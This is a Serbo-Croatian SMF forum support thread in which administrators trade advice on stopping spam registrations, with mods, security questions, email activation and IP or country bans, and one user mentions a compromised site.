ima samo 3 slike ,a ja kada sam instalirao redirectalo me i imam samo 3 opcije enable i za Ip i za e-mail napisao sam ti gore, pa me cudi sta taj api i gdje s njim.
Neka te ne čudi jer koristiš Stop Forum Spam (autor ITA003) a ja Stop Spammer (autor M-DVD). Oba koriste istu sfs bazu, meni je ovaj upotrebljiviji jer mogu koristiti i trenutnu i imejl registraciju i naknadno provjeravati ima li spamera među već registrovanim korisnicima. Kako god, važno je da si riješio problem.
puno hvala, i znam da sam vas izmucio vise i dosadio , ali oni su mene također uništili, hvala.
edit: ali ostao je jos jedan problem pomno prateci 281 clan je registriran a novih nema, znaci sfs radi, ali oni koji su registrirani od prije spamaju jos uvijek u znatno manjem broju, e sad me zanima kako da se i njih otresem do kraja?
Samo brisanjem naloga ili baniranjem ako želiš da se i dalje ubrajaju u članove. Meni lično ne znači ništa fiktivan broj članova.
btw.Pitanje novih članova nema veze sa spam zaštitom
Ja sam pronašao ovu informaciju:
Gost (112.123.168.72) 11:19:47 pre podne Čita spisak skorašnjih tema.
kako je moguće da gost gleda teme kad nema pristupa!?
Pretraživačke mašine, popisivanje stranica. Klikneš na taj IP i vidiš o kome se radi.
Danas sam imao napad da to tako nazovem za pola sata su postavili oko tristo postova , banujem ih ,
obrisem nalog . povecam na extremnu verifikaciju , promenim pitanja i dodam jos dva , ali nista nije pomoglo oni se ponovo registruju , na kraju da bih se odbranio stavim forum u Maintenance Mode
jel nemam vise resenja od modova imam stop forum spam ovo je ludnica sve probijaju sta raditi .
Stavi mod Avatar select (obavezan avatar kod registracije). Nevjerovatno, ali meni radi čak i kod isključenog stop forum spama. Probaj i javi rezultat. Sve zavisi od vrate spamera.. ;)
Branko ovo je neverovatno sve probija probacu i to ja ga obrisem i banujem on se ponovo registruje pod istim imenom za par sekundi.
Banuj IP opseg.
Quote from: sima1 on February 16, 2013, 11:34:35 AM
Branko ovo je neverovatno sve probija probacu i to ja ga obrisem i banujem on se ponovo registruje pod istim imenom za par sekundi.
Jednom baniran nick, imejl itd znači da se ne može više logovati ili registrovati pod tim imenom i imejlom. Jesi li provjerio okidače zabrane u ban opciji?
Ovo za opseg je takođe izvodljivo, mada ja lično ne bih to radio. Tako bi se onemogućila registracija ili logovanje drugih iz tog opsega. Utvrdi ti prvo je li to klasični spamer ili neki tvoj prijatelj-šaljivdžija... ima li ih više ili jedan isti?
Svi okidaci su aktivirani , odmah sam prijavio spamera , sreca pa sam na free hostingu pa sam premasio dnevni limit te su me oni blokirali kad me odblokiraju videcu sta se desava pa javim.
Morao sam da zatvorim forum za goste jer čim otvorim desava se ovo što i Džoniju, da gosti ostavljaju upise i otvaraju teme.
Do sada se to nije desavalo a evo sad je baš ucestalo.
Instaliraj neki mod protiv spamera, meji je sad sve ok i bez spamera... procitaj celu temu...
Posle napada sam postavio forum u Maintenance Mode sad kad se logujem dobijem samo praznu belu stranicu nemogu da udjem u panel , imam beckup fajlova da ih zamenim ili treba i baza .
Vrati u normalno stanje $maintenance = 0; u Settings.php jer ako si stavio 2 onda je forum nedostupan dok za vrijednost 1 pokaže poruku.
Zašto ne probaš Avatar select mod. Nekoliko puta sam napomenuo da meni zaustavlja spamere
Probacu branko promenio sam sto si rekao ali sad nemogu da udjem u panel ne prihvata pasword i user name browser sam ocistio a u svim fajlovima posle <?php imam tri reda nekih hiroglifa ovako nesto L2lzYks0cEFvaHhnNDhmbE9ObEtuUXRTenNTT1hhbEtJK1RpZFlLS3dRSjhh
edit: niko od clanova nije u mogucnosti da sa uloguje
Ja bih na tvom mestu za početak promenio host. Verovatno će se 80% problema rešiti tim.
Large upgrade + poradi na sigurnosti/obrati se hosting podršci/ili kao što reče Skipper menjaj hosting :)
Imam ogroman problem sa spam botovima, uspevaju da se registruju i pored captche, cak sam ubacio i ono da unesu npr prvo slovo u reci "beograd" ali oni se i dalje reg :/
Sta da radim?
Quote from: Dzonny on December 12, 2012, 06:31:10 PM
Stop Forum Spam
http://custom.simplemachines.org/mods/index.php?mod=1519
Meni odradio posao, pokušaj i ti :)
Ja sam poslusao Branka i postavio Avatar select mod i za sad nemam problema vec jedno desetak dana .
Odlično je rješenje za ove koji automatski popunjavaju obrazac za registraciju a takvih je najviše.
Quote from: Kanidja on February 19, 2013, 11:31:03 AM
Morao sam da zatvorim forum za goste jer čim otvorim desava se ovo što i Džoniju, da gosti ostavljaju upise i otvaraju teme.
Do sada se to nije desavalo a evo sad je baš ucestalo.
Quote from: Dzonny on February 19, 2013, 01:31:18 PM
Instaliraj neki mod protiv spamera, meji je sad sve ok i bez spamera... procitaj celu temu...
Instalirao sam Sfs kao i stop spamer, ali opet se dešava da dođe gost i da postai neki post. Ja odobravam registracije tako da ne može da se registruje pa da piše...
Jedno pitanje borba protiv spamera je teska imam jedan sajt uradjen u worpressu oni imaju jedan zanimljiv dodatak protiv spamera a licno mislim da bi i nama resio problem naime prilikom registracije na tvoj mail dobijes password sa kojim se ulogujes i upozorenje da ga odmah promenis, da znam ja bih ga napravio ali nazalost neznam ako neko hoce i zna svima bi pomogao.
sima1 ni to nepomaže više na wordpressu.
Jedino što može pomoći na forumu je da moraš svakom članu odobrit prvih npr 5 postova
dovoljno je staviti zaštitu u smislu postavljanja pitanja, a u odgovoru neka bude neki od ovih znakova "š,ž,č,ć" , i to je to.. tu nema prolaza ;D
Quote from: sima1 on March 03, 2013, 06:28:39 AM
...mislim da bi i nama resio problem...
Ne vidim kakve veze imaju spameri s promjenom lozinke
Quote from: sima1 on March 03, 2013, 06:28:39 AM
....prilikom registracije na tvoj mail dobijes password sa kojim se ulogujes i upozorenje da ga odmah promenis, da znam ja bih ga napravio ali nazalost neznam ako neko hoce i zna svima bi pomogao.
Ovo je standardna smf opcija. Svaki novoregistrovani član dobija imejl u obliku:
Dobrodošli na {FORUMNAME}
{REALNAME}, registrovali ste nalog na {FORUMNAME}
Korisničko ime vašeg naloga je {USERNAME} a lozinka {PASSWORD}.
Moći ćete da promenite svoju lozinku odlaskom na svoj profil ili klikom na sledeći link kada se prijavite:
{SCRIPTURL}?action=profile
{REGARDS}Sadržaj imejlova se može preurediti i prilagoditi svojim potrebama u Themes\default\languages\EmailTemplates.tvojjezik.php ili instalirati Email Template Editor (http://custom.simplemachines.org/mods/index.php?mod=2926) pa uređivati po potrebi.
Može se pomoću PM to New Members (http://custom.simplemachines.org/mods/index.php?mod=1517) poslati dodatna poruka koja sadrži napomenu o promjeni lozinke.
Quote from: eladio on August 03, 2013, 04:59:33 PM
dovoljno je staviti zaštitu u smislu postavljanja pitanja, a u odgovoru neka bude neki od ovih znakova "š,ž,č,ć" , i to je to.. tu nema prolaza ;D
... ali to važi samo ako okupljaš isključivo šđčćž ekipu, englesko govorno područje - out
Quote from: user999 on September 13, 2013, 09:24:22 PM
Quote from: eladio on August 03, 2013, 04:59:33 PM
dovoljno je staviti zaštitu u smislu postavljanja pitanja, a u odgovoru neka bude neki od ovih znakova "š,ž,č,ć" , i to je to.. tu nema prolaza ;D
... ali to važi samo ako okupljaš isključivo šđčćž ekipu, englesko govorno područje - out
takve članove nemam, niti vidim smisao da na "naš" forum dolazi netko , a da ne zna naš jezik.. šta će on raditi na tom forumu?
u registraciji je istaknut i admin email pa neka se jave..
(iako i oni se mogu registrirati ali preko facebooka (mod) ako ga imaju.. ) ..ali to je jedini način kako nisam naštetio funkcionalnosti foruma, a efektno i napokon sam rješio problem sa botovima..
U poslednje vreme sam imao problem sa botovima, registruju se i pored toga sto se pri registraciji mora odgovoriti na dva pitanja...
To sam nekako resio ali imam jos jedan problema a nisam siguran da ima veze sa njima. Prilikom refreshovanja stranica dolazi do redirekcije na neke xxx sajtove, da li to ima veze sa spamom ili je problem na serveru ili nesto trece i kako bi mogao resiti problem?
Pre će biti neki drugačiji problem, proveri kodove u template fajlovima i index fajlovima, može biti da negde imaš maliciozan kod.
Ok, pokusacu pa javljam rezultate...
Hvala na odgovoru!
Pozdrav!
Pre nego što sam instalirao SMF, naravno da sam pročitao mnoge teme u ovom delu foruma i poslušao iskusne.
Kako već tri meseca radi forum, rešio sam da Vam iznesem moje iskustvo, što se tiče spamova i registracija.
Naime uključivanje obaveznog Avatara, dodatnih slova (capcha) i dodatnog pitanja (jednostavno sabiranje i oduzimanje) je u potpunosti zaštitilo registraciju ''nepoželjnih''. Nijedan slučaj nisam imao do sada.
Nadam se da će tako i ostati i da neće biti robota koji će moći da izaberu Avatar, jer iskreno mislim da je to najbolja zaštita.
Koristio sam Peoplesign mod i nije bilo botova... http://custom.simplemachines.org/mods/index.php?mod=2965
Mod iz nekog razloga trenutno (ili trajno?) ne funkcioniše i odmah su se pojavili.
Pokušaj kombinaciju: captcha + rotirajuća pitanja + izbor pola.
Od danas im je sajt (http://peoplesign.com/) ponovo dostupan pa je i mod u funkciji.
Muku mučim sa botovima, i mislim da nešto nije u redu sa SMF-om ili moj forum nešto neradi dobro. Dakle, probao sam svaki mod koji je dostupan i botovi se uvijek uspiju registrirati. Danas odlučim postaviti jedno sigurnosno pitanje i pod odgovor stavim "egfsrgrsgwe4tereg" ali botovi na mom forumu su uspjeli probiti i to. Kako je to moguće? Imam još jedan SMF forum i nemam ovakvih problema.
Probaj s ovim (http://custom.simplemachines.org/mods/?mod=368) modom.
Idalje isti problemi, uspije bot izabrati avatar bez problema. Treba li taj dodatak možda negdje podesiti ili?
Zna li netko za anti-bot kombinaciju plugina i opcija koja radi?
Nema podešavanja za taj mod. Ako uspijeva izabrati avatar onda je u pitanju čovjek a ne automatski program (novijih koliko ja znam nema a SpamBotV2.exe nema opciju izbora avatara). Podesi da se verifikacija registracije radi preko dobijenog imejla i aktivacionog linka u njemu.
Odmah sam sumnjao na čovjeka. Tu nema nekog univerzalnog rješenja. Ako ne uspije Brankov prijedlog sve što ti ostaje je da ga nastaviš banati.
Upravo tako.. univerzalno i stoprocentno rješenje ne postoji kad spamuje čovjek koji je u stanju odgonetnuti/odgovoriti na svako pitanje ili popuniti svako zahtijevano polje. Puno lakše je riješiti botove na forumima s članstvom iz exYU ako se npr. napravi set pitanja u vidu mini kviza ili pitanjima za koje odgovor znaju samo članovi iz exYU.
Ako nije problem napiši ovdje podatke problematičnih da procijenimo o čemu se tačno radi. Ime, imejl, ip, država ...
Instaliraj si mod: KeyCAPTCHA for SMF i garantirano ti se neće ni jedan bot regat! :)
Quote from: John. on September 06, 2014, 03:28:20 PM
Instaliraj si mod: KeyCAPTCHA for SMF i garantirano ti se neće ni jedan bot regat! :)
Radi se o čovjeku, a za njega je to prilično lako.
Ono što mene najviše čudi je kako čovjek, kako tvrdite, može probiti anti-spam pitanje "registations are disabled?" i odgovor "egfsrgrsgwe4tereg".
Po mom mišljenju mora biti stroj da probije "egfsrgrsgwe4tereg" kao odgovor.
Većina spam poruka je "BUY FAKE PASSPORTS,ID CARD,DRIVERS LICENSE,real or fake passport,visa , driver"
Imam uključenu email aktivaciju.
KeyCAPTCHA probao neradi.
Da li je možda problem što ja njega komplet izbrišem - račun i postove? Dakle ne banam ih.
Sad sam izbrisao sve spamere pa javim IP adresu i ostalo kad se novi registrira.
Evo i link ako nekoga zanima; http://forum.jollausers.com
Quote from: DarioRed on September 07, 2014, 10:45:20 AM
Ono što mene najviše čudi je kako čovjek, kako tvrdite, može probiti anti-spam pitanje "registations are disabled?" i odgovor "egfsrgrsgwe4tereg".
Ne shvaćam. To si postavio u nadi da ćeš spriječiti sve registracije? Ako je mail aktivacija uključena mora biti čovjek. Probaj ga banati, a ne brisati.
Quote from: Masterd on September 07, 2014, 04:00:24 PM
Quote from: DarioRed on September 07, 2014, 10:45:20 AM
Ono što mene najviše čudi je kako čovjek, kako tvrdite, može probiti anti-spam pitanje "registations are disabled?" i odgovor "egfsrgrsgwe4tereg".
Ne shvaćam. To si postavio u nadi da ćeš spriječiti sve registracije? Ako je mail aktivacija uključena mora biti čovjek. Probaj ga banati, a ne brisati.
Da, da spriječim sve registracije/da vidim da li će se bot idalje uspiti registrirati, i uspije. Ja idalje vjerujem da je bot. Koja je šansa da je čovjek probio to sigurnosno pitanje?
Takvo pitanje ne postoji u tvom registracionom obrascu. Sigurno si previdio da u polje "Broj pitanja za potvrdu na koje korisnik mora odgovoriti" uneseš, srazmjerno broju stavljenih pitanja, na koliko pitanja treba odgovoriti jer po defaultu stoji nula (onemogućeno) i samim tim ta opcija bi bila neaktivna. Kod tebe već postoji dodatno pitanje "5+4". To je kao prvo. Kao drugo takvo pitanje (ako negdje ne postoji objašnjenje šta treba unijeti) će onemogućiti registraciju svakome a to ti, pretpostavljam, nije cilj. Kao treće treba da znaš što je bot jer se nerijetko pogrešno interpretira. Bot (skraćeno od Robot) je kompjuterski program koji djeluje na netu i automatski, radi uštede vremena, prikuplja informacije o korisnicima, prati hiperlinkove itd. U to spadaju veb popisivačii, veb spajderi i zbog svoje uloge uopšte nisu opasni...naprotiv, itekako su korisni za pozicioniranje sajtova kod veb pretraživača. Kao četvrto tebe gnjavi spamer, živi čovjek koji se registruje kao i bilo ko drugi. Većina spamera obično koristi isti imejl-različito ime ili isto ime-različit imejl pa su kao takvi u bazama skoro svih antispam sajtova. U tom slučaju se koristi neki od antispam modova koji automatski eliminiše spamere. Manja vjerovatnoća je da je u pitanju spambot i konačno, da ne davim dalje one koji ovo znaju napamet, dostavi nam ovdje potrebne informacije i znaćemo koje je optimalno rješenje.
Stopostotna zaštite nema a ionako većina spamera vremenom odustane kad vide da im sadržaji ne opstaju.
Quote from: Branko. on September 07, 2014, 08:27:38 PM
Takvo pitanje ne postoji u tvom registracionom obrascu. Sigurno si previdio da u polje "Broj pitanja za potvrdu na koje korisnik mora odgovoriti" uneseš, srazmjerno broju stavljenih pitanja, na koliko pitanja treba odgovoriti jer po defaultu stoji nula (onemogućeno) i samim tim ta opcija bi bila neaktivna. Kod tebe već postoji dodatno pitanje "5+4". To je kao prvo. Kao drugo takvo pitanje (ako negdje ne postoji objašnjenje šta treba unijeti) će onemogućiti registraciju svakome a to ti, pretpostavljam, nije cilj. Kao treće treba da znaš što je bot jer se nerijetko pogrešno interpretira. Bot (skraćeno od Robot) je kompjuterski program koji djeluje na netu i automatski, radi uštede vremena, prikuplja informacije o korisnicima, prati hiperlinkove itd. U to spadaju veb popisivačii, veb spajderi i zbog svoje uloge uopšte nisu opasni...naprotiv, itekako su korisni za pozicioniranje sajtova kod veb pretraživača. Kao četvrto tebe gnjavi spamer, živi čovjek koji se registruje kao i bilo ko drugi. Većina spamera obično koristi isti imejl-različito ime ili isto ime-različit imejl pa su kao takvi u bazama skoro svih antispam sajtova. U tom slučaju se koristi neki od antispam modova koji automatski eliminiše spamere. Manja vjerovatnoća je da je u pitanju spambot i konačno, da ne davim dalje one koji ovo znaju napamet, dostavi nam ovdje potrebne informacije i znaćemo koje je optimalno rješenje.
Stopostotna zaštite nema a ionako većina spamera vremenom odustane kad vide da im sadržaji ne opstaju.
Da priznam, nemuče me botovi već spammeri. Može moderator promjeniti title sa Bot u Spameri.
Trenutno je postavljeno pitanje zbroja brojeva, testiram svaki dan neke nove kombinacije nebili ih se riješio, maknio sam ono "registations are disabled?" i odgovor "egfsrgrsgwe4tereg" i zato ga nema.
Cilj mi je bio odkriti da li spameri mogu probiti takvo pitanje i pod cijenu da ne nitko neregistrira(kao što sam rekao stavio sam to pitanje na par sati da testiram da li će se spameri registirati), normanlo da ga neželim držati do danas i dalje.
Kandidat br. 1Username:anderson27
Email:
[email protected]IP:41.205.22.29
Hostname:host22-29.mtn.cm
Kandidat br.2Username:sahel
Email:
[email protected]IP:41.205.14.118
Hostname:host14-118.mtn.cm
Kandidat br.3Username:martinway
Email:
[email protected]IP:67.249.204.71
Hostname:cpe-67-249-204-71.twcny.res.rr.com
Ne postoji stoprocentna zaštita od spamera. Ako su ta gospoda konstantno sa istih ip adresa (opsega), kao što su prva dva (Kamerun) onda možeš banirati cijeli ip opseg pod pretpostavkom da te ne zanima članstvo iz te države. Ovaj treći ti je USA, država i grad Njujork, i za njega bi trebao(mogao) isto napraviti.
Drugi način je da instaliraš StopForumSpam mod (http://custom.simplemachines.org/mods/index.php?mod=1519). Kandidat br.3 je već u njihovoj bazi i bio bi automatski zaustavljen. Druga dva bi morao ti prijaviti (sajt za podršku daje takvu mogućnost). vidi http://stopforumspam.com . Postoji i Stop Spammer (http://custom.simplemachines.org/mods/index.php?mod=1547) . Oba su povezani na bazu navedenog sajta. Meni je pomogao ovaj prvi, ali davno dok sam bio na 1.1.x verziji a sada je u opticaju samo Avatar Select on Register kojeg su nekoliko Kineza nedavno zaobišli, dobili ban i nema ih više. Suština je da odabereš nešto od ovog, isprobaš kako djeluje u nekom vremenskom intervalu... rekoh da većina spamera brzo odustane kad vidi da je u blokadi.
U svakom slučaju moraš se malo više angažovati dok se sve ne sredi. Ako ti je za utjehu, imaš sreće da ti nisu Kinezi za vratom (50% ih dolazi iz Kine) a imaj u vidu da smo manje-više svi imali slične probleme.
Nadam se da će ti ovo biti od koristi. :)
da li se mogu blokirati ip adrese iz kompletne drzave (konkretno ukrajina) i ako moze kako?
htaccess ....
[TIP/TRICK] How to ban users properly from .htaccess (http://www.simplemachines.org/community/index.php?topic=524146.msg3710891#msg3710891)